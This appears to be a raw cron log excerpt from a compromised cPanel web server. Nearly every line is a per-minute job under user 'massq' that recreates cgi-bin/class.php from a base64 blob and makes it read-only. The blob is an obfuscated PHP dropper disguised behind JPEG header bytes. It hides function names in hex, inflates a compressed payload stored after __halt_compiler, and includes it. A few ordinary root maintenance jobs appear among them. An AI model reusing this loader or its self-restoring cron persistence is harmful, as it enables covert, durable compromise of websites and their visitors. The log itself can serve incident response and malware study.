Nov 14 10:00:01 server CROND[3607]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:01:01 server CROND[4512]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 10:01:01 server CROND[4513]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:01:01 server run-parts(/etc/cron.hourly)[4512]: starting 0anacron
Nov 14 10:01:01 server run-parts(/etc/cron.hourly)[4525]: finished 0anacron
Nov 14 10:02:01 server CROND[5386]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:03:01 server CROND[6302]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:04:01 server CROND[7250]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:05:01 server CROND[8124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:05:01 server CROND[8126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:05:01 server CROND[8130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:05:01 server CROND[8137]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 10:06:01 server CROND[9250]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:07:01 server CROND[10024]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:08:01 server CROND[10881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:09:01 server CROND[11885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:09:01 server CROND[11886]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 10:10:01 server CROND[12761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:10:01 server CROND[12762]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 10:10:01 server CROND[12760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:10:01 server CROND[12763]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:11:01 server CROND[13635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:12:01 server CROND[13916]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 10:12:01 server CROND[13917]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
